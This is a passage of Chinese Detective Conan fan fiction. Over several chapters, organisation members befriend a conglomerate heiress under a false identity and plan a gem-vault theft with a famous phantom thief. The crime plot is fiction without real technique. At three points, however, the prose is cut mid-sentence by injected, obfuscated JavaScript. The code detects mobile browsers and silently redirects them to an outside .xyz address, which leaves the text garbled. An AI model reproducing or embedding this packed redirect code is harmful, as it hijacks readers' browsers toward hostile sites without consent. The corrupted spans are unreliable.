苏格兰怎么也没想到是这么个展开,卡了一下壳后婉拒:“我一时间还真的没想到什么旋律呢……让莱伊来吧。” 莱伊:? 莱伊无所谓,随便哼了几句不成调的。 ……虽然让你随便给个旋律但你这个也太散了吧,稀碎。 诸伏清浅无语凝噎,在钢琴上找音阶的声音磕磕绊绊,半晌才将莱伊的旋律改成尚且能听的东西。 一段空灵而略带忧郁的旋律流淌出来,像是暮色中的薄雾,又带着一丝不易察觉的希望。 通过无障碍功能辅助,夏特勒兹熟练操作录音软件设定循环段落,开始指挥三瓶威士忌依次录制。贝斯的律动,吉他的清亮,手风琴的悠扬,慢慢让单薄的主旋律开出繁盛的花,如同将一匹布料慢慢裁剪缝纫、装饰点缀,最终成为一件让人忍不住驻足观赏的东西。 小提琴如泣如诉的间奏旋律,长笛灵动的装饰音,故意做旧的鼓点……在完成自己的部分后威士忌们看着蒙眼青年在众多乐器间游走,熟练地从中挑选、弹奏出想要的音符。多轨录制完成后,控制室的音响里播放出刚刚即兴创作的纯音乐——复杂的编曲,饱满的情绪,精湛的演奏,完全不像是一蹴而就的作品。 “[名字——有什么推荐的吗?这首歌的名字。]”电子音率先打破沉默。 “我无所谓。” “反正是您做主发布作品,您做主就行——把出场费结算一下就好。” 最后竟然只有苏格兰在认真给建议:“‘Twilight’如何?” 黄昏?还是薄暮时分?衰退期? 这首曲子确实给人一种黄昏的意象,但“Twilight”这个名字他总觉得不妥。 “[叫‘Glimmer’吧,微光。]” 微光?即将浸染天空的夜色中,透着微光的点点繁星吗? 既然主创这么说了,无脑跟票总没错。 没有意见的三人很快就找了由头告辞离开。诸伏清浅表示自己还要呆在这里继续润色一下,保证完成后会把成品发给他们后爽快放人。 ……所谓的由头只不过是借口,虽然他借着录歌暂时分散了卧底搜查官们的注意力,将充满意外的今天糊弄过去。 但他知道这只是治标不治本,无论是公园中的相遇,还是烤肉店的风波,只要仔细回想总会从中找到破绽——无论是今天过分沉默、着重于观察的莱伊,还是昔日同期、再次见面的警校五人组,抑或是自由音乐人浅井尘。 如今已是年末,今年的“原著大事件”仅有本堂父女一件,但清浅却意外感到很疲惫。 一想到今天过后降谷零和诸伏景光一定会找机会警告爆处班的两位同期,他就忍不住盯着系统面板的明年日历上被标注出来的日期发愁。 不是早该想到的吗?随着时间的推移,便当回收的越多,未来就越不可控……无论是阿尼赛特的出现,训练营的彻查,还是今天警校五人组的再会。 录音室内回荡着《Glimmer》的旋律,清浅倒是真的希望他能抓住那glimmer of hope。 60.椎名 元旦,新年伊始,清晨六点的光线尚未穿透房间的百叶窗。 诸伏清浅深陷在难得无梦的睡眠中,枕边手机以特定频率震动第三遍时,他终于忍无可忍地仰卧起坐起身,将手机调成静音模式。 ……然后系统面板的消息提醒接替了手机的震动。 诸伏清浅:哈哈,去死吧。 【Romana 05:47 [文件传输:2025后勤组战略目标.pdf] [文件传输:皮斯科语音备忘录.m4a] 新年快乐,起来看日出[恶魔低语.jpg]】 【Chartreuse 06:02 ……我前阵子紧赶慢赶将工作弄完就是为了今天休息一阵的。 你最好有事。】 【Romana 06:02 休息个屁,皮斯科大人给我发了今年后勤组的发展目标哈哈。】 【Romana 06:02 [想死.jpg]】 【Chartreuse 06:03 真惨……不对我为什么会共情你啊。 [战术后仰.jpg] 说吧,找我作甚?】 【Romana 06:04 你知道椎名财团吗?】 椎名财团?已读乱回的诸伏清浅终于舍得将注意力从混沌中抽离,在记忆中寻找相关的资料。 椎名财团。1971年由椎名成刚创立,早期投资房地产及航运业,1988年转型奢侈品领域。 他们的核心商业哲学是“合法范围内的绝对精确打击”,家徽则是白尾鹞——以其无声的飞行、极其精准的俯冲猎杀和在领地内极具攻击性的防御姿态而闻名。 ——完美契合椎名财团优雅、致命且不容侵犯的特质。 他们的财团法务部曾让朗姆派出的商业间谍赔到卖器/官还债,如今掌权的椎名白河会长书房甚至挂着「欢迎窃听,录音可直接作庭审证据」的牌匾。 诸伏清浅忽然想起三年前,罗马纳曾给他转发了财经新闻并冷笑表示:“看这家公司,连慈善捐款都能做出300%的投资回报率。我们应该聘请他们的CFO来教朗姆怎么骗经费,而不是什么东西都来找后勤组报销。” 【Chartreuse 06:06 那个合法抢劫犯集团? 皮斯科终于决定向他们收保护费了?】 【Romana 06:07 比那更离谱。 老爷子看中他们家珠宝公司的一颗宝石。 据说是什么“月光下会滴露水的红石”……他就不能少看点奇幻小说?】 卧槽?这个描述是不是过于熟悉了。 这下清浅的睡意真的被吓没了,他强装镇定回复,但同时已经在系统面板上快速调取椎名财团的相关情报。毕竟原著中提及的财团除了铃木财团、乌丸集团、常盘财团和大冈财阀,他真没记住几个。 【Chartreuse 06:09 ……说人话。具体需要我做什么?】 【Romana 06:10 椎名家的千金今年大学毕业要接手家业。但据我所知,椎名陽葵在珠宝设计方面大放异彩,经商管理方面倒是没有多少消息…… 皮斯科让我“协助”她站稳脚跟,顺便找机会接近他们家宝石库。】 【Chartreuse 06:11 你准备伪装成被黑心企业压榨的财务顾问?】 【Romana 06:12 错,是“被前东家做假账陷害背锅然后被现东家解救结果发现不过是从狼圈进虎窝的倒霉会计师”。】 啊……她真的没有影射吗。清浅划拉着情报,一则消息闯入他的眼帘。 【Chartreuse 06:18 另外,我得提醒你件事: 据我所知,椎名财团去年才帮公安厅破获过一起跨国诈骗案。 你确定要往枪口上撞?】 【Romana 06:19 哇哦感谢关心。 不过“罗马纳”不会接近她,接近她的会是“秋田小姐”——干干净净的良民身份,连地铁逃票记录都没有呢。】 【Chartreuse 06:20 ……行吧,你翻车的时候记得别供出我。】 【Romana 06:21 谢了,欠你一次!】 【Chartreuse 06:21 不用,算我还你的。】 【Romana 06:22 ……啊? 果然上次在我西装扣里放窃听器的——】 啊嘞嘞?我不知道哦~ 诸伏清浅恶趣味地关掉系统面板,“啪”的一下摔回床上继续睡。 * ……睡个屁。 已经清醒导致回笼觉睡不成,诸伏清浅充满怨念地打开手机line,开始联系那位在外潇洒的怪盗先生。 [既然我要加班那么谁也别想好过.jpg] 被诸伏清浅突如其来一封“你是不是在找能够在月光下显现的特殊宝石?”的line砸到的黑羽盗一:“?” * 银座僻静角落的甜品店,下午三点的阳光斜斜洒入,给空气中浮动的甜香微粒镀上了一层暖金。罗马纳选择了一个靠窗又能纵观全局的位置,这是多年习惯使然——既能观察,又便于在必要时迅速离开。 她今天的装扮刻意低调:素色的高领毛衣,款式经典的眼镜,随意挽起的长发,整个人像是融入了背景的灰调,时不时在面前笔记本电脑上的财务报表中敲上几个数字。 而她的任务目标,椎名陽葵(himari),就在不远处的座位里。 那位大小姐与罗马纳想象中的模样有些出入。没有盛气凌人的姿态,没有前呼后拥的随从。她穿着一件质感极好的乳白色羊绒衫,长发松松地挽起,用一支设计别致的樱花造型簪子固定,手边放着一杯几乎没动过的黑咖啡,以及一小碟方糖。 她面前摊开着一本厚重的、书脊印着《公司财务原理》字样的精装书,但她的注意力显然不在那上面——罗马纳瞥见这位大小姐已经在字里行间的空白处勾勒出随性又不失美感的花纹。 “唉……”一声轻微的、带着十足困扰的叹息传来。罗马纳看到椎名陽葵放下笔,揉了揉太阳穴,低声嘟囔着,“现金流折现……未来的钱为什么不能现在就漂亮地摆在眼前呢……” 时机需要创造。罗马纳不动声色地观察等待着。 当椎名陽葵再次因为书本上的某个概念而露出略显挫败的表情、下意识地拿起第二块方糖在碟沿轻轻敲击时,罗马纳知道机会来了。 她合上电脑,端起自己的咖啡杯,站起身,看似要去吧台续杯。 经过椎名陽葵桌旁时,她“不小心”被地毯绊了一下,身体微微一晃,手中几份打印出来的文件散落在地,其中一张恰好滑到椎名陽葵脚边。 “啊,抱歉。”罗马纳的声音带着恰到好处的歉意和一丝匆忙中的不稳,她蹲下身去捡拾文件。 “没关系,我来帮您。”椎名陽葵立刻回应,声音温和,没有丝毫的不耐烦。 她也弯下腰,利落地捡起脚边的那张纸。递还时她的目光不可避免地扫过纸上的内容——是一些带有复杂图表和数据的财务分析摘要。 椎名陽葵眼中闪过一丝好奇和不易察觉的敬佩。 “您……是做财务工作的吗?”她抬起头,眼神清澈。“这些看起来好复杂,真厉害。” 罗马纳接过文件,露出一个略带疲惫又谦逊的微笑:“只是工作需要罢了,混口饭吃。倒是您,”她目光转向那本被加工过的《公司财务原理》,“看起来对这些数字不太感冒?” 这句话像是打开了某个开关。椎名陽葵有些不好意思地笑了笑,笑容里带着点无奈和坦诚。 “实不相瞒,简直就像在看天书。我觉得理解不同珍珠的形成原理差异,都比弄懂这些资产负债表要容易得多。”她指了指随手在书上画的珠宝样式。 罗马纳的目光自然地落在她书上的设计图上。她或许不懂艺术,但也懂得精密度和结构的美。 “非常惊艳的设计,”她评论道,语气认真,“尤其是主石与副石之间的平衡,还有链条的流动性处理,充满了生命力。您是一位非常有才华的设 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16440695|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 计师。” 椎名陽葵的眼睛瞬间亮起来,遇到知音般地向前倾了倾身体:“您能看出来?太好了!我跟家里……嗯,跟一些长辈说,他们大多只会说‘画得不错’,很少有人能具体说到点子上。” 她的话语里流露出一种被理解的欣喜,以及不经意间透露出的家庭背景信息。 上钩了。 罗马纳顺势在她对面的空位坐了下来,将自己那盘没怎么动的蒙布朗轻轻推了过去:“不介意的话,尝尝这个吧?思考是很耗糖分的。我看您似乎被这些概念困扰着,或许……我可以试着用您比较熟悉的方式,解释一下看看?”她的提议显得自然而友善,像一个偶然遇到迷路者并愿意指路的陌生人。 椎名陽葵几乎没有犹豫,欣然接受:“真的可以吗?那太感谢您了!我叫椎名陽葵,请问您怎么称呼?” 她的自我介绍简单直接,没有刻意隐瞒,也没有炫耀,仿佛“椎名”这个姓氏和“田中”、“佐藤”等大姓并无不同。 “秋田。秋田泉。”罗马纳报上早已准备好的化名,声音平稳。 她拿起椎名陽葵那张画满草稿和零星公式的纸,目光落在其中一个被流花无意识用花边装饰了的财务公式上。 “比如这个,”泉的指尖轻轻点在那个公式上,声音放缓,像是在讲述一个故事,“您可以把它想象成您设计的这件作品……” 椎名陽葵聚精会神地听着,眼神跟着罗马纳的指尖移动,时不时若有所思地点点头。 一个是在黑暗泥沼中行走多年、早已将算计融入本能的组织成员,一个是在光明温室中长大、对世界的复杂性缺乏真正认知的天才设计师。此刻,她们却因为一场精心策划的“偶然”,坐在了同一张桌子旁。 秋田泉的话语清晰而富有耐心,为椎名陽葵搭建起一座通往陌生知识领域的桥梁,用的砖石正是流花最熟悉热爱的珠宝语言。她听得极其专注,时而提出天真却切中要害的问题,时而因为一个难点被解开而露出恍然大悟的明亮笑容。 她身上有一种不设防的坦诚,像一块未经雕琢的水晶,折射出纯粹的光。 罗马纳一边讲解,一边不动声色地收集着信息。 她注意到椎名陽葵喝黑咖啡时微微蹙起的眉头,显然并不喜欢这种苦涩,或许只是为了提神。 她更注意到,当椎名陽葵谈到自己设计的珠宝时,整个人会散发出一种难以言喻的光彩——那是一种超越了家族身份和财富的、源于真正热爱和创造力的光芒。 这种光芒,让罗马纳不禁恍惚了一下。她想起很多年前,自己面对父亲留下的复杂账目时,也曾有过类似的、解开谜题后的纯粹喜悦。 只是那份喜悦,早已被后来的污浊和绝望彻底淹没。 * “原来是这样!秋田小姐,您讲解得真是太清楚了!”椎名陽葵的声音带着由衷的钦佩,打断了罗马纳瞬间的走神。“比我家请的那些一本正经的老师讲得明白多了!” 罗马纳回神笑道:“只是用了您熟悉的比喻而已。财务管理本身并不神秘,就像珠宝设计,背后也是一套严谨的逻辑和规则。” “可是规则好枯燥啊,”椎名陽葵托着腮,叹了口气。 可椎名财团是热衷于在规则内撒欢的白尾鹞吧?这么说的你真的是椎名财团的人吗。 “真希望有人能一直这样帮我‘翻译’这些天书——”她说着,目光期待地看向罗马纳,“秋田小姐,您最近都会来这家店吗?我……我可能还会遇到很多问题。” 罗马纳看着那双清澈的、带着些许依赖和请求的眼睛。她知道,鱼儿已经上钩了,而且比预想中还要顺利。 “我最近……刚好在休假,调整状态。”她的语气保持着一贯的平稳,但她敏锐感知到有些东西逐渐脱离了她的控制。“应该会经常过来坐坐。” “那太好了!”椎名陽葵的笑容瞬间绽放,“那下次我请您吃这里最棒的草莓挞!就当是……预付的学费!” 学费……吗。 当椎名陽葵因为一个电话暂时离开座位,罗马纳独自坐在原地,指尖无意识地划过笔记本电脑冰凉的外壳。 屏幕上,一份关于椎名财团宝石库安保系统的加密文件悄然打开。 61.催促 罗马纳正与爱尔兰核对着一批即将运往东南亚的“特殊货物”清单。爱尔兰壮硕的身躯靠在桌沿,手指点着平板屏幕上的武器型号,语气带着惯常的粗粝。 就在这时,罗马纳口袋里那台属于“秋田泉”的私人手机开始了持续而细微的震动。 一下,两下,三下。 “真的没关系吗?你的手机一直在响。”爱尔兰抬起眼,那双经历过无数血腥场面的眼睛里,难得带上了一点属于同事范畴的关切。 罗马纳的动作几不可察地顿了一下。她掏出手机,屏幕的亮光在略显昏暗的室内有些刺眼。 解锁,Line的聊天界面弹出,后面跟着一连串未读消息的红点。 【Himari:秋田小姐,救救我!我这个报表不太懂……[蛋花眼.jpg]】 【Himari:秋田酱,你明天下午有空吗?我在银座找到了一家超级好吃的甜品店!】 【Himari:泉酱,今天父亲大人夸我有进步了诶!】 【Himari:阿泉——】 称呼从恭敬的“秋田小姐”,到亲切的“秋田酱”,再到如今带着点撒娇意味的“泉酱”和“阿泉”,不过短短三四个月的时间。 她半晌没有动作,只是盯着那一个个跳跃的字符,仿佛能透过屏幕看到椎名陽葵那张总是洋溢着过分灿烂笑容的脸。 ……这孩子怎么这么能唠? 那孩子似乎有永远用不完的热情和分享欲,从财务报表的难题,到下午茶甜品的口味,再到天空一朵形状奇怪的云,都能成为她轰炸信息的理由。 “……没事,手下发的报告。”最终,她只是用平淡无波的声音解释,利落地将手机调成静音,重新塞回兜里。 手下?爱尔兰挑了挑眉,似乎觉得这个说法有些新奇。 组织里上下级关系分明,但很少会有“手下”敢这样频繁且……看似随意的联系一位代号成员,尤其是以罗马纳在皮斯科派系中的地位。 爱尔兰是聪明人,见这位心思缜密的同事明显不愿继续手机的话题,便也识趣地不再追问。 他内心对罗马纳是佩服的。这个女人和他不同,他擅长用拳头和子弹解决问题,而罗马纳则凭借着她那堪称恐怖的商业头脑和财务技巧,在不见硝烟的战场上为皮斯科大人开疆拓土,将后勤组打理得滴水不漏,资金流像被施了魔法一样源源不断且隐秘安全。 他们会一起蛐蛐行动组那些家伙挥霍无度的预算申请,罗马纳总能找到最刁钻的角度砍价或驳回,有时甚至会“指点”爱尔兰如何去跟琴酒派来的人对峙,为后勤组争取更多资源。 爱尔兰乐于充当她的“嘴替”,毕竟他看琴酒不顺眼已久,能有个正当理由给对方添堵,何乐而不为? 而在爱尔兰负责的某些灰色产业遇到经营难题时,罗马纳偶尔的提点也总能让他豁然开朗,赚到钱她似乎比他更开心——那是一种看到自己精心设计的模型在现实中完美运行的、纯粹技术层面的愉悦。 他们合作得很好,将皮斯科大人手下的后勤组管得井井有条。 但也正因为如此,爱尔兰更能察觉到同事最近不易察觉的异常。比如,她眼下那即使用粉底也难以完全遮盖的乌青;比如,她有时会在讨论中出现极其短暂的走神,虽然很快就能接上,但这在以往以绝对专注著称的罗马纳身上是罕见的。 “那行吧,你最近也注意休息。”爱尔兰扔了一罐啤酒给她,扫了眼对方眼底下的乌青。“椎名财团的事情还没有进展吗?” 罗马纳接过啤酒,冰凉的触感让她因持续工作而有些发胀的指尖稍微舒服了些。 “酒精不提神……算了,谢了。”她拉开拉环,看着乳白色的泡沫迅速涌上罐口,发出细微的呲呲声。她仰头灌了一口,冰凉的液体滑过喉咙,暂时压下了心底一丝莫名的烦躁。 “……哪有这么容易,椎名财团向来谨慎。”她含糊地回答,目光落在窗外远处鳞次栉比的摩天大楼上。 这句话半真半假。 真的是,椎名财团确实如同一个刺猬,浑身是刺且警惕性极高,任何直接的商业渗透都可能引发强烈的反击; 假的是,进展并非没有。相反,在某些层面上,进展“顺利”得超乎想象。 椎名陽葵像一株生长在无菌温室里的向日葵,纯粹、热烈,对围绕在她家族周围的暗流汹涌几乎一无所知。 她对企业管理的苦恼是真实的,对珠宝设计的热爱是炽烈的,而对“秋田泉”这个凭空出现的、看似疲惫落魄却能力出众的财务顾问的依赖和信任,也是与日俱增的真挚。 她“恰巧”出现在椎名陽葵常去的甜品店,“恰巧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458663|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”帮助她解决了几个棘手的财务问题,“恰巧”用椎名陽葵能理解的、充满设计感的方式讲解枯燥的商业知识。一切都按照她精心编写的剧本进行着。 椎名陽葵迅速接纳了她,将她视为亦师亦友的存在。她会毫无防备地向秋田泉倾诉工作中的烦恼,分享生活中的点滴快乐,甚至会因为父亲一句简单的夸奖而像个小孩子一样兴奋地第一时间向秋田泉报告。 那种全然的信任,像阳光一样灼热,却让长期蛰伏于阴影中的罗马纳感到有些无所适从。 这太容易了。罗马纳曾经在内心冷笑着评价。 利用一个不谙世事的千金小姐,对她来说本该是家常便饭。皮斯科的命令是接近她,获取椎名财团的信任,最终目标是他们宝石库中那颗“月光下会滴露水的红石”——爱神之泪,一颗和传说中的永生之石“潘多拉”相似的宝石。这是一项任务,一个需要完成的KPI。 可事实呢? 她会认真地看完椎名陽葵的每一条分享,甚至开始期待看到那些“无聊”的信息。 “好吧好吧,你向来有把握——”爱尔兰的声音将她从纷乱的思绪中拉回现实,“不要让皮斯科大人久等就好。” 爱尔兰的话像一盆冷水,瞬间浇灭了她心中那点不合时宜的温热。 久等。这个词背后的含义,她再清楚不过。 皮斯科不是有耐心的投资者,组织更不是。如今初夏已过,距离年初已经过去了三四个月——对于一项渗透任务来说,不算短了。 虽然她定期会提交一些无关痛痒的、关于椎名财团运营模式的“报告”来敷衍,但核心目标——宝石库的情报——却进展缓慢。 这“缓慢”,有多少是客观条件的限制,又有多少是她潜意识里的……拖延? 罗马纳深吸了一口气,将剩下的啤酒一饮而尽。铝罐在她手中被捏得微微变形,发出轻微的嘎吱声。 她不能忘记自己的身份,不能忘记皮斯科的“恩情”,不能忘记自己身处的这个泥沼。 椎名陽葵的世界是光明而温暖的,但那不属于她秋田泉,更不属于代号罗马纳的组织成员。 “我知道。”罗马纳将捏扁的啤酒罐精准地投进远处的垃圾桶,声音恢复了往常的冷静和淡漠,“我会尽快拿出实质性的进展。不会让皮斯科大人失望的。” 62.交易 实质性的进展……她嘴角勾起一抹自嘲的弧度。 什么才算实质性?是把椎名财团的商业机密双手奉上,还是将那颗“爱神之泪”直接呈到皮斯科面前? 前者,她或许已经掌握了一些边角料,但核心的、能对椎名财团造成重创的信息,她下意识地回避了深入挖掘; 后者,更是遥遥无期。宝石库的安保级别高得令人咋舌,强行突破无异于以卵击石。而通过陽葵……她不敢想象当那个女孩发现自己的信任被如此践踏时,会是怎样的表情。 这种优柔寡断不像她。 烦躁感再次涌上心头,她需要做点什么来打破这种僵局,需要一些冰冷的事实来提醒自己身处何地。她决定返回组织在东京的某个次要据点,处理一些积压的后勤组常规文件,用熟悉的工作麻痹自己。 * 据点设在一栋看似普通的写字楼底层,入口隐蔽,内部充斥着消毒水和电子设备混合的气味。 当她穿过需要三重权限验证的走廊,走向专属的临时办公室时,却在转角处差点撞上一个人影。 那人悄无声息,仿佛本就融于阴影之中。一身熟悉的藏青卫衣,眼前蒙着永不摘下的黑缎,周身散发着如幽灵般的冷冽气息——不是夏特勒兹又是谁? 罗马纳的心脏猛地一缩,几乎是条件反射地,她后退半步,双手迅速而仔细地拍打自己的外套口袋、衣领、袖口甚至发丝间,动作熟练得令人心惊——她在检查是否有发讯器。 夏特勒兹:“[……?]” 诸伏清浅:你礼貌吗。 “咳,”罗马纳清了清嗓子,强行压下瞬间加速的心跳,试图让自己的语气听起来正常一点。“真巧啊,夏特勒兹。你什么时候也对后勤组的仓库感兴趣了?” 她这话带着试探,这个时间点,夏特勒兹出现在后勤组的地盘,确实极不寻常。 夏特勒兹没有立刻回答,他只是微微偏头,侧耳倾听罗马纳的呼吸频率,想要从中得到些信息。过了几秒,他才抬手在手机上打字: “[我路过。情报组本月第三批海外活动经费的报销流程有点问题,我来找原始凭证核对。]” 这个理由听起来合情合理。情报组的经费报销一向混乱,朗姆那边的人手脚也不干净,夏特勒兹时常需要与后勤组的财务记录进行交叉验证。 但罗马纳的直觉告诉她,没这么简单。“路过”能“路”到需要最高权限才能进入的核心区域吗? 不过,她此刻没有深究的精力。夏特勒兹提到的报销问题,倒是勾起了她作为后勤组实际掌控者的职业本能。 “朗姆那边又搞什么小动作了?”她皱了皱眉,侧身推开临时办公室的门,“进来聊吧,正好我也看看——那老家伙的账,十本有九本半是糊涂账。” * 夏特勒兹沉默地跟了进去。办公室很小,只有基本的桌椅和一台终端机。罗马纳熟练地登录系统,调出夏特勒兹所说的那份报销申请和关联的后勤组采购记录。 “装备损耗超额37%,情报购买费用比市场均价高出两倍,‘特殊交际’开支名目模糊……”罗马纳一边快速浏览,一边低声念着,眉头越皱越紧。 这些手段并不高明,甚至有些拙劣,明显是仗着朗姆的势力和情报活动的特殊性,在浑水摸鱼。她虽然不是第一次处理这种烂账,但每次看到,还是会为这种肆无忌惮的浪费和贪婪感到一阵生理性的厌恶。 同时,她也忍不住瞥了一眼双手插兜,安静站在一旁的夏特勒兹,心中升起一丝复杂的同情。 当初,正是她不堪其扰,向BOSS极力建议,将情报组的部分内部审计和预算监管职能剥离出来,交给相对中立且能力足够的夏特勒兹负责。本意是想甩掉一个烫手山芋,也让朗姆派系有所顾忌。 但这些漏洞百出的报表,何尝不是朗姆对夏特勒兹权威的一种试探和挑衅? 现在看来,当初的决定虽然减轻了自己的负担、给夏特勒兹了一个和朗姆打擂台的筹码,但也让夏特勒兹承担了不少压力——没看见这家伙看似站在那里实则已经走了一会儿了吗! 她花了大约二十分钟,仔细核对了每一笔有疑问的款项,手指在键盘上飞快敲击,调取对比数据,时不时低声咒骂一句朗姆手下的愚蠢和贪婪。 ……哈哈,没有人能心平气和地看完情报组的账单[微笑.jpg]。 夏特勒兹始终安详地站着,只有偶尔微微侧头的动作,显示他在专注地聆听电子音读屏软件汇报罗马纳的操作和发现。 终于,罗马纳停下了动作,身体向后靠在椅背上,长长地吐出一口气。“问题找到了。” 她指着屏幕上一条被高亮显示的记录,“看这里,有一笔用于‘目标人物信息收买’的款项,金额不小,对方是一家空壳公司,注册地在开曼群岛,但资金最终流向的IP地址,经过跳转后,指向了……朗姆一个私人实验室的账户。” 这个发现并不意外,但证据如此清晰直白,还是让罗马纳感到一阵恶心。朗姆甚至懒得做得更隐蔽一些——当她是眼瞎的吗? 夏特勒兹的手机发出轻微的震动音,他“看”向罗马纳的方向,电子音响起:“[证据链完整吗?]” “完整。资金流向、IP日志、空壳公司的关联关系,我都给你标出来了,足够你拿去敲打朗姆的人。” 罗马纳将整理好的证据包加密,发送到夏特勒兹的指定终端。看着对方确认接收后,她却没有立刻结束话题。 机会来了。 她端起桌上已经冷掉的咖啡,抿了一口,苦涩的味道让她的大脑更加清醒。 她看着夏特勒兹,语气变得有些微妙,不再是纯粹的同事协作口吻:“不过,夏特勒兹,我帮你揪出了朗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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更何况,给皮斯科派系帮忙,某种程度上也能制衡朗姆,符合他自身的利益。 这是一场交易,各取所需。 良久,夏特勒兹的手机再次响起电子音,言简意赅: “[可以。目标物特征,安保布局,接入点。资料发我。]” “[行动时间等我通知。另外,这次潜入,与夏特勒兹和罗马纳都无关,是‘第三方’所为。]” 罗马纳心中一块大石落下,同时又泛起一丝苦涩。 他同意了,并且主动提出了更彻底的切割方案。这果然是最符合夏特勒兹风格的做法,冷静、高效,且不留后患。 “成交。”罗马纳深吸一口气,“资料我会尽快准备好。至于朗姆那边的烂账……谢了。” 夏特勒兹没有再回应,只是微微颔首,随即像来时一样,悄无声息地转身离开了办公室。 门轻轻合上,房间里只剩下罗马纳一个人。她瘫坐在椅子上,感觉浑身力气都被抽空。 一场交易达成,她为陽葵争取到了一层脆弱的保护壳,却也把自己和夏特勒兹更深地捆绑在了这条危险的船上。 未来会怎样? …… 她不知道。 63.爱神之泪 从一个资深犯罪者的角度来审视,与警方关系密切、行事作风又凌厉如刀的椎名财团,无疑是一块极其难啃的骨头。 银座一家以精致法式甜点闻名的甜品店内,临窗的角落坐着一位看似正在专心处理工作的年轻“女性”。 “她”戴着口罩,遮掩了大半张脸,只露出一双漂亮的深棕色桃花眼。然而,若有感知敏锐者仔细观察,就会发现那双眼睛虽然美丽,却缺乏焦距,仿佛凝视着虚空中的某个点,而非眼前的笔记本电脑屏幕。 在仅自己可见的系统视觉界面中,数个半透明的屏幕错落有致地悬浮着,如同一个精密的指挥中心。 屏幕上实时流动着的数据和图像,赫然是椎名财团总部大楼的立体模型、各楼层的监控画面、安保人员的巡逻路线与轮换时间表,甚至还有实时分析环境音的分贝监测曲线。 【技能:敏捷MAX,速度MAX,耐力MAX,听力MAX,隐匿MAX,轻功MAX,伪装MAX,身法技巧MAX,偷盗技巧MAX,潜入技巧MAX,撬锁技巧MAX,轻型武器MAX】 系统赋予的顶级技能是她的底气,但面对椎名财团堪称铜墙铁壁的宝石库安防,即便是她也感到了压力。 一道道防护被他用思维在虚拟模型上逐一标注解析:随机变化的三重密码锁、需要特定生物特征才能开启的合金闸门、毫无规律可言的动态红外激光网、以及连接着警视厅的无声报警系统…… 最棘手的是,系统推算出的几个可供利用的安全窗口期,都短暂得如同流星划过,转瞬即逝——她的技巧再高超,也无法在物理上压缩完成复杂操作所需的基本时间。 ……时间太短了。“她”的眉心几不可察地蹙起,那双无焦的桃花眼里掠过一丝真实的苦恼。桌面上散落着几张看似抽象建筑结构图的草稿,实则是她标注的安防关键节点示意图。 “这是遇到麻烦了吗?”一个优雅悦耳的女声忽然响起,带着些许调侃的意味。 一位优雅的女性极其自然地拉开“她”对面的椅子坐下来,视线与那双没有焦距的桃花眼对上。 “需要帮忙吗?”女士端起恰好被服务生送来的热咖啡,轻轻搅动,银质小勺碰撞杯壁发出清脆的声响。她的手指若无其事地拂过桌面上那些散落的“建筑构造图”,指尖在某处代表通风管道枢纽的位置点了点。 “浅井……弥生君。” 浅井弥生——或者说浅井尘,诸伏清浅,易容后秀气的五官几乎要皱在一起,显然对这位不请自来的女士以及这一手伪声感到一阵无语。他默默拿起手边的手机,灵活的手指在屏幕上快速敲击。片刻后,优雅女士放在手包里的手机传来一声轻微的震动提示音。 【浅井君:先不说您为什么会出现在这里,您这身打扮又是怎么回事,怪盗先生。】 优雅女士——黑羽盗一——阅读完消息,眼底闪过一丝狡黠的笑意。他用一种带着些许幽怨的语气低声回应,确保声音只有两人能听见。 “这可不是恶人先告状吗?明明是你之前传递消息,说这里可能出现了‘值得一看的有趣宝石’,我才特意放下手头的事情,千里迢迢赶来的。” 他轻轻啜了一口咖啡,继续道:“顺便来检查一下自己学生的技术。” 诸伏清浅:…… 他再次拿起手机,打字的速度更快了。 【浅井君:那你现在看到了。】 【浅井君:既然看到了就留下来帮忙吧。】 优雅女性:“?” 优雅女性:“这是强买强卖吧?” 【浅井君:来都来了。】 偷盗?为什么不问问原著里最权威的怪盗基德(一代版本)先生呢? * 有位神出鬼没、经验丰富的怪盗协助,突破宝石库安防的成功率和安全性都将大大提升。 夜色深沉,唯有月光洒下银白的纱,将椎名财团摩天大楼的轮廓镀上朦胧的滤镜。大楼内部,大部分员工已经下班,除了必要的安保证明和永不熄灭的服务器指示灯,大部分区域都陷入了沉寂。 然而晚上十点整,椎名财团大楼一层的24h接待处还是迎来了一位特殊的访客。 一位高挑的女性,戴着口罩,穿着简约利落的深色套装,手里拿着平板电脑,深棕色的桃花眼见到人就会蕴着笑意微微弯起。 她向值夜班的安保人员出示了一份电子预约函,上面显示她是一位来自知名建筑设计事务所的顾问——浅井弥莎,预约在夜间对大楼的某些公共区域进行无声环境评估,以避免日间运营的干扰。 浅井弥莎——或者说黑羽盗一——指了指自己的喉咙,又摇了摇手,示意嗓子不适无法说话,然后出示了一张提前打印好的说明卡,上面写着歉意和简单的工作介绍。安保人员表示理解,进行了登记,并指派了一名安保陪同。 几乎在同一时间,大楼另一侧的员工通道,穿着维修工制服、戴着帽子和口罩的浅井弥生凭借一张伪造的高权限工卡,悄无声息地刷开了通常只有内部核心人员才能进入的通道。 